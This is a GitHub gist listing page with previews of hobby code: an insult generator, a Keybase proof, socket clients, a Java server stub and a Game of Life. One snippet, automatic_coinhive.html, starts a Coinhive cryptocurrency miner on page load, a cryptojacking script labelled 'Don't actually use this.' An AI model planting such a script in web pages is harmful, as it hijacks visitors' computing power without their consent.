Skip to content

Instantly share code, notes, and snippets.

@a11ce
a11ce / InsultGen.java
Created April 4, 2017 18:08
Shakespeare Insult Generator
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Random;
public class InsultGen {
static ArrayList<String> adj;
static ArrayList<String> noun;
static Random gen;

Keybase proof

I hereby claim:

  • I am a11ce on github.
  • I am a11ce (https://keybase.io/a11ce) on keybase.
  • I have a public key ASB5_secbqcUevhWAWE8HtAgPZNntAvhQtYi7MMo0nv7Vwo

To claim this, I am signing this object:

@a11ce
a11ce / beetyper.js
Created November 7, 2017 14:01
This goes into the js console on hackertyper.com
Typer.file = "https://gist.githubusercontent.com/ElliotGluck/64b0b814293c09999f765e265aaa2ba1/raw/79f24f9f87654d7ec7c2f6ba83e927852cdbf9a5/gistfile1.txt";
$.get(Typer.file,function(data){
Typer.text=data;
});
@a11ce
a11ce / automatic_coinhive.html
Created January 23, 2018 14:24
Launches coinhive miner at full power on page load. Don't actually use this.
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('<YOUR-PUBLIC-SITE-KEY-GOES-HERE');
miner.start();
</script>
date("l")
import socket
HOST = 'unh.w1mem.com'
PORT = 25001
def recPrint(s):
rec = s.recv(1024)
print(rec)
return(rec)
import socket
HOST = 'unh.w1mem.com'
PORT = 25001
def recPrint(s):
rec = s.recv(1024)
print(rec)
return(rec)
@a11ce
a11ce / Server.java
Created October 21, 2018 20:43
Multithreaded Java server boilerplate
import java.util.Scanner;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.io.BufferedReader;
import java.io.InputStreamReader;
def main():
hSeq = "HEAGAWGHEE"
#hSeq = "z"
vSeq = "PAWHEAE"
#vSeq = "ab"
data = makeSameOne(hSeq, vSeq)
#showTable(hSeq, vSeq, data, hideZero=True)
f, t = makeFT(hSeq, vSeq)
print(transcribe(hSeq, vSeq, f, t))
@a11ce
a11ce / life.c
Created April 28, 2020 01:14
tinyLife
#include <stdio.h> // by Riley
#include <stdlib.h>// a11ce on GitHub
#include <unistd.h>// Conway's Game
#include <string.h>// of Life
#include <time.h> // 2019
#define l for(i j = 0; j < H; j++) \
{for(i k = 0; k < W; k++){
#define e ;}}
#define c [j][k]
const int H=40; const int W=40;